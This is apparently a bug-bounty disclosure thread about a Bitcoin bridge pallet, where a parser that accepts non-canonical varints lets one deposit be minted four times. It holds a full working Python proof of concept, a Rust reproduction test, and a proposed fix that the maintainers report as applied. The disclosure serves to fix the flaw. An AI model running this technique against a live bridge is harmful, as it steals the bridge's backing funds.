[Critical] UTXO multi-mint via non-canonical varint re-encoding

Summary

read_varint (pallets/helpers/src/utxo.rs) accepts non-minimal encodings
(e.g. input_count = 1 as fd 01 00) with no canonicality check, while
compute_txid re-serializes via write_varint_to_buf, which always writes the
minimal form — so the canonical txid, and hence the block Merkle proof, is
identical across encodings. But UtxoThreadProof::get_unique_key
(pallets/weaver/src/types.rs:530-544) feeds the submitted bytes through
sequential_hash, which (3 elements) truncates each input to its first 32 bytes
without hashing (GhostHasher::from_slice, pallets/traits/src/hashing.rs).
Re-encoding the input_count varint at byte offset 4 changes those 32 bytes,
producing a fresh replay key per encoding. pull_thread then mints again for
the same deposit. One BTC deposit → 4 mints (01, fd0100, fe01000000,
ff0100000000000000).

Severity

Critical. Each real BTC deposit to the gatekeeper can be claimed 4×,
draining the bridge’s BTC backing per deposit. Deterministic, no privileged
role needed (modulo the unsigned-validation gating note below).

Steps to Reproduce

Prerequisites: a confirmed BTC deposit to the gatekeeper with a valid
gettxoutproof + ancestry (the repo’s own test vector works: tx
4a3fdd9e…b44a2e, block #481838).

  1. Claim #1 with the canonical getrawtransaction → Ok, key K1, receiver
    credited.
  2. Re-encode byte offset 4 (input_count) as fd 01 00 (shift remaining bytes).
    Claim #2 → Ok, key K2 ≠ K1, receiver credited again.
  3. Repeat with fe 01000000 → K3, and ff 0100000000000000 → K4. Four mints
    total for one deposit.
  4. Negative control: re-submit the exact bytes of claim #1 →
    Err(ThreadAlreadyPulled), proving the bypass is specifically the re-encoding.

Proof of Concept

Local PoC (byte-for-byte reimplementation of utxo.rs parse/txid,
hash_chain.rs, hashing.rs, get_unique_key; validated by reproducing the
real on-chain txid 4a3fdd9e…b44a2e). Full PoC source available on request.

cd poc-gh02 && cargo test
# 3 passed:
# - gh02_reimplementation_matches_real_chain
# - gh02_nonminimal_varint_keeps_txid_but_changes_unique_key
# - gh02_one_deposit_mints_four_times

The three links in the chain:

// 1. utxo.rs: read_varint accepts fd/fe/ff for small values (no minimality check)
// 2. utxo.rs: compute_txid re-serializes with write_varint_to_buf (always minimal)
//    -> identical txid -> extract_proof validates against the SAME block root
// 3. types.rs:530: sequential_hash([gettxproof, rawtx, network_id])
//    -> 3 elements -> from_slice() truncates first 32 bytes WITHOUT hashing
//    -> mutated bytes at offset 4..7 -> new key -> PulledThreads check passes

Impact

Bridge backing drain: every BTC deposit is worth 4× its face value to whoever
claims it. An attacker deposits 1 BTC once, claims 4× wrapped BTC, exits via
bridge-out. Scales linearly with deposits.

Remediation

Enforce varint canonicality in read_varint (reject fd/fe/ff encodings
whose value fits in a shorter form this matches Bitcoin Core consensus
rules), and/or compute the replay key over the canonical re-serialization
(compute_txid output) instead of the submitted bytes. Defense in depth: make
from_slice-based keying hash the input (it is currently a truncate, despite
the Hasher name).

Caveats

  • PoC is a faithful local reimplementation, not the compiled pallet; anchored
    by reproducing the real txid of the repo’s own test vector.
  • pull_thread is currently only includable by a byzantine block author
    (unsigned-validation gap); fixing that gap without this fix makes the
    multi-mint permissionless ship together.
  • The attacker must still make one real BTC deposit per 4× claim cycle.

Thank you for your report!

It looks like you are right here. Would be nice if you could give a python script or rust based test for fair play with other participants. IMHO this finding totally deserves the elevation of this thread.

Good job @aldi! You are welcome to continue with this attack vector!

Thanks for confirming! Here’s a self-contained Python reproducer (stdlib only no dependencies), so everyone can verify on equal footing:

#!/usr/bin/env python3
"""
GH-02 reproduction — weaver UTXO multi-mint via non-canonical varint re-encoding.

Self-contained (stdlib only: hashlib). Run:  python3 gh02_repro.py

Faithful reimplementation of:
  - pallets/helpers/src/utxo.rs      : read_varint (NO canonicality check),
                                       write_varint_to_buf (always minimal),
                                       Transaction::try_from, compute_txid
  - pallets/helpers/src/hash_chain.rs: sequential_hash / combine_values
  - pallets/traits/src/hashing.rs    : GhostHasher::from_slice (truncate, NOT a hash)
  - pallets/weaver/src/types.rs      : UtxoThreadProof::get_unique_key
  - pallets/weaver/src/lib.rs        : pull_thread replay check (PulledThreads)

Test vector: the repo's own (pallets/weaver/src/tests.rs, block #481838,
tx 4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e).

Attack: re-encode `input_count` (byte offset 4) non-minimally.
  read_varint accepts it  -> parse succeeds
  compute_txid re-serializes canonically -> SAME txid -> Merkle proof still valid
  get_unique_key truncates first 32 raw bytes WITHOUT hashing -> key CHANGES
  -> PulledThreads replay check passes again. One deposit -> 4 mints.
"""

import hashlib
import sys

# ---------------------------------------------------------------- test vectors
GETTXPROOF_HEX = (
    "00000020375a14cfcf5730daa8ff8d7a5bd2cf59fba797e289c2e000000000000000000"
    "0529cd017146361b57e6b7353b16d8d38d32f92ee842039dd779d35bfbfa2f3e53f649e5"
    "9e93c01187900ea9fb40600000cfbd7b718845d123b1ae1a7fd3bce9c97acba097dc912c"
    "4ac67a920395db07ba4eef685960869ba70e0ca38890565c97dc11f1d7ae538e7b509069"
    "f81e38eff1a2e4a6b66fc4233d7d0580af4d195c7f0b274849f19d405dfc6b930bb9edd3"
    "f4a4c1f1e9fa3a336c50e8ea16039e4db4bef7ff5946e3a019937bdf626c2336d0e3926a"
    "83a575218f84e6dc55ffb9d0997a41e4b4d5425a85f22160c9f52362a95021a573ff96bb"
    "429bd80a8ec9dcb899971553efe91b6a0fe57c4694c3e8da8dc7f1babd514f2746da1ed0"
    "6f08664baed853c334e0a3917d0c859b19ee14f448f77e624822070db3b606d5092027ca"
    "9ecf7e0243e6c151081021ebb3ddcdd28c1b8f9fdcffebd1962590477675f3d29d52602a"
    "1e7e941f772a3bbff42cf2eb6e74a1124bf424f767e294ae6253a21602c7c6b0381743dd"
    "6dcd57b025983e0e34375b24f67ac8beb00713d2f70594bbf797d5d94c061cb9965e6458f"
    "2f017f983d7ce37361fa13fda372f595dc1f22895ab93339457c72c480fed1c4d1164a24"
    "2303ff3600"
)

# Layout: `01000000` (version) | `02` (input_count @ byte offset 4) | inputs...
RAWTX_HEX = (
    "010000000299a43fae581f80baf44e021ddf7b11995f184db282d6e48c22248b9fe79c43"
    "bb010000008b483045022100e9db01784dcd879c65d66127c2d52a4f9244321d15796893"
    "d6dccadaa1146e3d02203d9bb80f8df8b66692d3d9517f7cbb898d7cc40a30b175432322"
    "e1956c9b973a0141048097e4f8bb8ee104d5c2ece11d42f7e4719df8ddba459ecadecaba"
    "87d233c81a3c14830371392dd8ed030ef970450c0b7af48d9db4ba20c046896481602eb9"
    "dbffffffffb3fd05bc6000a5a0384e9a613d452e9307568df0a964907068e00403a0a0e0"
    "9e020000006a47304402205bb1cbad4b29421648c1e22cac32a56aa06c933fe655559823"
    "fffb71ffebbc0b022021648d970560aa5b2031560b52a0fd06305995a58a457663324c18"
    "c1a9b0bd0b8121020d6e50b2660af27933c42bc1395fe93df90ffac5e2a989f6a134919f"
    "b8cf8075ffffffff030000000000000000296a2769642b5bb666ac1657090d02985f0cdb"
    "41436fe2d5a83a3acb1995d963a698e7e619e927bdcc5e7c150000000000001976a914c1"
    "c69d91a5719a23ba2094d89a4df3eadfa4aef788acefea2309000000001976a9144635b1"
    "794a22bfbe6c5c5eba17b693f4aaf0e34888ac00000000"
)

EXPECTED_TXID_DISPLAY = (
    "4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e"
)
NETWORK_ID = 1

# ---------------------------------------------------------------- primitives
def sha256d(data: bytes) -> bytes:
    return hashlib.sha256(hashlib.sha256(data).digest()).digest()


def blake2_256(data: bytes) -> bytes:
    return hashlib.blake2b(data, digest_size=32).digest()


def read_varint(buf: bytes, off: int):
    """utxo.rs::read_varint — accepts NON-MINIMAL encodings (no canonicality check)."""
    first = buf[off]
    off += 1
    if first == 0xFD:
        val = int.from_bytes(buf[off:off + 2], "little"); off += 2
    elif first == 0xFE:
        val = int.from_bytes(buf[off:off + 4], "little"); off += 4
    elif first == 0xFF:
        val = int.from_bytes(buf[off:off + 8], "little"); off += 8
    else:
        val = first
    return val, off


def write_varint_canonical(value: int) -> bytes:
    """utxo.rs::write_varint_to_buf — ALWAYS minimal encoding."""
    if value < 253:
        return bytes([value])
    if value <= 0xFFFF:
        return b"\xfd" + value.to_bytes(2, "little")
    if value <= 0xFFFFFFFF:
        return b"\xfe" + value.to_bytes(4, "little")
    return b"\xff" + value.to_bytes(8, "little")


def parse_tx(raw: bytes):
    """utxo.rs::Transaction::try_from (faithful for this vector)."""
    off = 0
    version = int.from_bytes(raw[off:off + 4], "little"); off += 4
    n_in, off = read_varint(raw, off)
    inputs = []
    for _ in range(n_in):
        prev_txid = raw[off:off + 32]; off += 32
        vout = int.from_bytes(raw[off:off + 4], "little"); off += 4
        slen, off = read_varint(raw, off)
        script, off = raw[off:off + slen], off + slen
        seq = int.from_bytes(raw[off:off + 4], "little"); off += 4
        inputs.append((prev_txid, vout, script, seq))
    n_out, off = read_varint(raw, off)
    outputs = []
    for _ in range(n_out):
        value = int.from_bytes(raw[off:off + 8], "little"); off += 8
        slen, off = read_varint(raw, off)
        spk, off = raw[off:off + slen], off + slen
        outputs.append((value, spk))
    locktime = int.from_bytes(raw[off:off + 4], "little"); off += 4
    return version, inputs, outputs, locktime


def compute_txid(tx) -> bytes:
    """utxo.rs::compute_txid — canonical re-serialization + double-SHA256."""
    version, inputs, outputs, locktime = tx
    buf = version.to_bytes(4, "little")
    buf += write_varint_canonical(len(inputs))
    for prev_txid, vout, script, seq in inputs:
        buf += (prev_txid + vout.to_bytes(4, "little")
                + write_varint_canonical(len(script)) + script
                + seq.to_bytes(4, "little"))
    buf += write_varint_canonical(len(outputs))
    for value, spk in outputs:
        buf += (value.to_bytes(8, "little")
                + write_varint_canonical(len(spk)) + spk)
    buf += locktime.to_bytes(4, "little")
    return sha256d(buf)


def from_slice_truncate(data: bytes) -> bytes:
    """hashing.rs::GhostHasher::from_slice — NOT a hash: copy/truncate to 32 bytes."""
    return (data + b"\x00" * 32)[:32]


def utxo_unique_key(gettxproof: bytes, rawtx: bytes, network_id: int) -> bytes:
    """weaver/types.rs::UtxoThreadProof::get_unique_key over 3 elements."""
    acc = from_slice_truncate(gettxproof)
    acc = blake2_256(acc + from_slice_truncate(rawtx))
    acc = blake2_256(acc + from_slice_truncate(network_id.to_bytes(8, "big")))
    return acc


# ---------------------------------------------------------------- demo
def main() -> int:
    rawtx = bytes.fromhex(RAWTX_HEX)
    proof = bytes.fromhex(GETTXPROOF_HEX)
    assert rawtx[4] == 0x02, "vector must carry input_count=0x02 at byte offset 4"

    # Sanity: the reimplementation must reproduce the REAL on-chain txid.
    txid0 = compute_txid(parse_tx(rawtx))
    assert txid0[::-1].hex() == EXPECTED_TXID_DISPLAY, \
        "reimplementation diverged from the real chain — aborting"
    print(f"[sanity] reimplementation reproduces on-chain txid {EXPECTED_TXID_DISPLAY}\n")

    encodings = [
        ("canonical  (02)                ", bytes([0x02])),
        ("non-minimal (fd 02 00)         ", bytes([0xFD, 0x02, 0x00])),
        ("non-minimal (fe 02 00 00 00)   ", bytes([0xFE, 0x02, 0x00, 0x00, 0x00])),
        ("non-minimal (ff 02 00..00)     ",
         bytes([0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])),
    ]

    pulled = set()  # pallet PulledThreads storage
    mints = 0
    for name, enc in encodings:
        variant = rawtx[:4] + enc + rawtx[5:]          # re-encode input_count
        tx = parse_tx(variant)                          # read_varint: accepted
        same_txid = compute_txid(tx) == txid0           # proof still validates
        key = utxo_unique_key(proof, variant, NETWORK_ID)
        fresh = key not in pulled
        if fresh:
            pulled.add(key)
            mints += 1                                  # Currency::mint_into executes
        print(f"[{name}] txid identical: {str(same_txid):5s} | "
              f"replay-key fresh: {str(fresh):5s} | key={key.hex()[:16]}... "
              f"-> {'MINT' if fresh else 'REJECTED'}")

    # Negative control: identical bytes are still caught — the bypass is
    # specifically the re-encoding.
    key1 = utxo_unique_key(proof, rawtx, NETWORK_ID)
    print(f"\n[negative control] resubmit identical bytes -> "
          f"{'REJECTED (ThreadAlreadyPulled)' if key1 in pulled else 'MINT (unexpected!)'}")

    print(f"\nRESULT: 1 BTC deposit -> {mints} mints "
          f"({'VULNERABLE' if mints == 4 else 'not vulnerable'})")
    return 0 if mints == 4 else 1


if __name__ == "__main__":
    sys.exit(main())

Run it with:

$ python3 gh02_repro.py[sanity] reimplementation reproduces on-chain txid 4a3fdd9e…b44a2e
[canonical  (02)                ] txid identical: True  | replay-key fresh: True  | key=8d4d2abe388a99e7... -> MINT[non-minimal (fd 02 00)         ] txid identical: True  | replay-key fresh: True  | key=1a481fad918677ed... -> MINT[non-minimal (fe 02 00 00 00)   ] txid identical: True  | replay-key fresh: True  | key=cfe65f6bdfb77d03... -> MINT[non-minimal (ff 02 00..00)     ] txid identical: True  | replay-key fresh: True  | key=18321b35986a9c55... -> MINT
[negative control] resubmit identical bytes -> REJECTED (ThreadAlreadyPulled)
RESULT: 1 BTC deposit -> 4 mints (VULNERABLE)

What it demonstrates:

  • Sanity: the reimplementation reproduces the real on-chain txid 4a3fdd9e…b44a2e from the repo’s own test vector (block #481838), so the logic faithfully matches the pallet.
  • The bug: all 4 input_count encodings are accepted by read_varint, produce the identical txid (Merkle proof still validates), but yield 4 distinct replay keys because get_unique_key truncates the first 32 raw bytes without hashing. 4 mints from 1 deposit.
  • Negative control: resubmitting identical bytes is still rejected, proving the bypass comes specifically from the re-encoding.

I also have the same PoC as a Rust test suite (cargo test → 3/3 pass) happy to share if anyone prefers Rust.

One note that may help the fix: within the 32-byte window the replay key covers, input_count is the only field whose encoding can vary without changing the canonical txid. Enforcing varint canonicality in read_varint (matching Bitcoin Core consensus rules) closes the vector completely. Happy to verify the fix once it lands.

Based on your Python example, I’ve recreated it locally for testing. The final version of the test is:

#[test]
fn should_successfully_pull_utxo_thread_and_mint_currency() {
    let pair = AuthorityPair::from_string("//Alice", None).expect("Should be valid seed");
    let incoming_share = 500_000_000;

    let network_id = 69;
    let network_data = NetworkDataBuilder::default()
        .with_network_type(NetworkType::Utxo)
        .with_incoming_share(incoming_share)
        .with_gatekeeper(
            // Transaction: https://blockstream.info/tx/4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e
            hex::decode("4635b1794a22bfbe6c5c5eba17b693f4aaf0e348")
                .expect("Bytes32 from UTXO should be valid"),
        )
        .build();

    let authorities = vec![pair.clone()];
    let networks = vec![(network_id, network_data, Default::default())];

    // Real world tx at block #481838
    // Block https://blockstream.info/block/0000000000000000011bdccb39e19e942a60edffdccd9779653c5b46b337904a
    // Transaction: https://blockstream.info/tx/4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e

    let payload = (
        // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "gettxoutproof", "params": [["4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e"], "0000000000000000011bdccb39e19e942a60edffdccd9779653c5b46b337904a"]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
        hex::decode("00000020375a14cfcf5730daa8ff8d7a5bd2cf59fba797e289c2e0000000000000000000529cd017146361b57e6b7353b16d8d38d32f92ee842039dd779d35bfbfa2f3e53f649e59e93c01187900ea9fb40600000cfbd7b718845d123b1ae1a7fd3bce9c97acba097dc912c4ac67a920395db07ba4eef685960869ba70e0ca38890565c97dc11f1d7ae538e7b509069f81e38eff1a2e4a6b66fc4233d7d0580af4d195c7f0b274849f19d405dfc6b930bb9edd3f4a4c1f1e9fa3a336c50e8ea16039e4db4bef7ff5946e3a019937bdf626c2336d0e3926a83a575218f84e6dc55ffb9d0997a41e4b4d5425a85f22160c9f52362a95021a573ff96bb429bd80a8ec9dcb899971553efe91b6a0fe57c4694c3e8da8dc7f1babd514f2746da1ed06f08664baed853c334e0a3917d0c859b19ee14f448f77e624822070db3b606d5092027ca9ecf7e0243e6c151081021ebb3ddcdd28c1b8f9fdcffebd1962590477675f3d29d52602a1e7e941f772a3bbff42cf2eb6e74a1124bf424f767e294ae6253a21602c7c6b0381743dd6dcd57b025983e0e34375b24f67ac8beb00713d2f70594bbf797d5d94c061cb9965e6458f2f017f983d7ce37361fa13fda372f595dc1f22895ab93339457c72c480fed1c4d1164a242303ff3600").expect("Bytes32 from UTXO should be valid"),
        // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "getrawtransaction", "params": ["4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e", false]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
        hex::decode("010000000299a43fae581f80baf44e021ddf7b11995f184db282d6e48c22248b9fe79c43bb010000008b483045022100e9db01784dcd879c65d66127c2d52a4f9244321d15796893d6dccadaa1146e3d02203d9bb80f8df8b66692d3d9517f7cbb898d7cc40a30b175432322e1956c9b973a0141048097e4f8bb8ee104d5c2ece11d42f7e4719df8ddba459ecadecaba87d233c81a3c14830371392dd8ed030ef970450c0b7af48d9db4ba20c046896481602eb9dbffffffffb3fd05bc6000a5a0384e9a613d452e9307568df0a964907068e00403a0a0e09e020000006a47304402205bb1cbad4b29421648c1e22cac32a56aa06c933fe655559823fffb71ffebbc0b022021648d970560aa5b2031560b52a0fd06305995a58a457663324c18c1a9b0bd0b8121020d6e50b2660af27933c42bc1395fe93df90ffac5e2a989f6a134919fb8cf8075ffffffff030000000000000000296a2769642b5bb666ac1657090d02985f0cdb41436fe2d5a83a3acb1995d963a698e7e619e927bdcc5e7c150000000000001976a914c1c69d91a5719a23ba2094d89a4df3eadfa4aef788acefea2309000000001976a9144635b1794a22bfbe6c5c5eba17b693f4aaf0e34888ac00000000").expect("Bytes32 from UTXO should be valid"),
        vec![
            // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "getblockheader", "params": ["000000000000000000e7da64065cc23d5c5a5aa402f088aaaf37c5fe1c3b6b92", false]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
            hex::decode("000000204a9037b3465b3c657997cddcffed602a949ee139cbdc1b010000000000000000669c3e2472384bc95993f154aada38d6b2113d8d32069e32e2724ba40915a1802a669e59e93c011801c8c735").expect("Bytes32 from UTXO should be valid"),
            // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "getblockheader", "params": ["00000000000000000063da6d9362c0ac3b87877d1c5ad7afd5bd706571d5b393", false]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
            hex::decode("02000020926b3b1cfec537afaa88f002a45a5a5c3dc25c0664dae7000000000000000000af0f270bf3f868d47089f395197809c360f1506636c960d96afed68bbd72d0b4496d9e59e93c01183ac94b67").expect("Bytes32 from UTXO should be valid"),
            // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "getblockheader", "params": ["000000000000000000ec6063eb743366264368be7ff5021727682cb518963026", false]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
            hex::decode("0000002093b3d5716570bdd5afd75a1c7d87873bacc062936dda630000000000000000009ab437e7c66b10a59b67127f290d24f381aba4e03d5e16c062a356eea4d608dea56d9e59e93c0118264f310e").expect("Bytes32 from UTXO should be valid"),
        ],
    );

    let encodings = vec![
        vec![0x02],                                                 // canonical
        vec![0xFD, 0x02, 0x00],                                     // non-minimal 3 bytes
        vec![0xFE, 0x02, 0x00, 0x00, 0x00],                         // non-minimal 5 bytes
        vec![0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], // non-minimal 9 bytes
    ];

    new_test_ext(authorities, networks).execute_with(|| {
        let session = 0;
        let block_hash =
            hex::decode("000000000000000000ec6063eb743366264368be7ff5021727682cb518963026")
                .expect("Bitcoin Root hex should be valid");

        let expected_root = H256::from_slice(&block_hash);
        LoomStates::<TestRuntime>::insert(&network_id, &session, expected_root);

        let expected_receiver_bytes = hex::decode("1657090d02985f0cdb41436fe2d5a83a3acb1995d963a698e7e619e927bdcc5e").unwrap();
        let mut receiver_raw = [0u8; 32];
        receiver_raw.copy_from_slice(&expected_receiver_bytes);

        let receiver_account = sp_runtime::AccountId32::from(receiver_raw);
        let transfer_amount: u64 = 153348847;
        let mut expected_pure_amount: u64 = 0;

        for enc in encodings {
            let mut variant = Vec::with_capacity(payload.1.len() + enc.len() - 1);
            variant.extend_from_slice(&payload.1[0..4]);
            variant.extend_from_slice(&enc);
            variant.extend_from_slice(&payload.1[5..]);

            let utxo_thread_proof = UtxoThreadProof::new(payload.0.clone(), variant, payload.2.clone());
            let thread_info = ThreadProof::UtxoThreadProof(utxo_thread_proof);
            let pulled_thread_key = thread_info.get_unique_key(session, network_id);

            assert_eq!(Balances::free_balance(&receiver_account), expected_pure_amount);
            assert!(!PulledThreads::<TestRuntime>::contains_key(
                &pulled_thread_key
            ));

            assert!(GhostWeaver::pull_thread(
                RuntimeOrigin::none(),
                network_id,
                session,
                thread_info
            ).is_ok());

            assert!(PulledThreads::<TestRuntime>::contains_key(
                &pulled_thread_key
            ));

            let curve_share = Perbill::from_parts(incoming_share).mul_ceil(transfer_amount);
            expected_pure_amount += transfer_amount.saturating_sub(curve_share);

            assert_eq!(
                Balances::free_balance(&receiver_account),
                expected_pure_amount
            );

            System::assert_last_event(RuntimeEvent::GhostWeaver(Event::ThreadPulled {
                pulled_thread_key,
                network_id,
                receiver: receiver_account.clone(),
                amount: transfer_amount,
            }));
        }

        assert_eq!(Balances::free_balance(&receiver_account), transfer_amount * 4 / 2 - 2);
    });

As you showed above, it really does work. How do you envision fixing it? What’s the best option - changing the unique key for the UTXO transaction, changing the varint implementation, or something else?

Excellent thanks for reproducing it end-to-end on the real pallet; that settles it.

On the fix, my recommendation: enforce varint canonicality in read_varint as the primary fix, plus the key change as defense in depth. Rationale:

  1. It matches Bitcoin itself. Non-minimal varint encodings are not valid in Bitcoin consensus serialization getrawtransaction output from bitcoind is always canonical. The pallet is currently more permissive than Bitcoin, which is where the divergence comes from.
  2. It fixes the class, not the instance. Every downstream consumer of the parsed transaction is protected, not just this one key derivation.
  3. No storage migration. The PulledThreads key format stays as-is.

Concrete change in pallets/helpers/src/utxo.rs (add a VarintError::NonCanonicalEncoding variant):

0xFD => {    let val = u16::from_le_bytes(...);    if val < 253 { return Err(VarintError::NonCanonicalEncoding); }    ...}0xFE => {    let val = u32::from_le_bytes(...);    if val <= 0xFFFF { return Err(VarintError::NonCanonicalEncoding); }    ...}0xFF => {    let val = u64::from_le_bytes(...);    if val <= 0xFFFF_FFFF { return Err(VarintError::NonCanonicalEncoding); }    ...}

(Thresholds are exactly the inverse of your own write_varint_to_buf, which is already minimal so no honest flow can break: real node output is always canonical.)

As defense in depth, I’d also derive the replay key from the canonical txid instead of the submitted raw bytes. Principle: an idempotency key should come from the canonical identity of what’s being claimed, never from attacker-supplied bytes when a canonical form exists. That way no future parser quirk can re-open this.

Process note: your test above is the perfect regression test after the fix it should assert the three non-minimal variants are rejected (keeping the canonical one green). Maybe rename it to should_reject_nonminimal_varint_reencoding so the intent reads clearly.

Happy to re-verify once the fix lands I can re-run both my Python and Rust repros against the patched logic, the way I did for the GH-01 fix.

Hey @atla - it looks like the dev team has fixed the issue you reported. Could you confirm whether it’s resolved on your end now, or continue the thread if it still persists?

Also, the next commit minimized the number of memory allocations needed - it now verifies the header in a stateless way.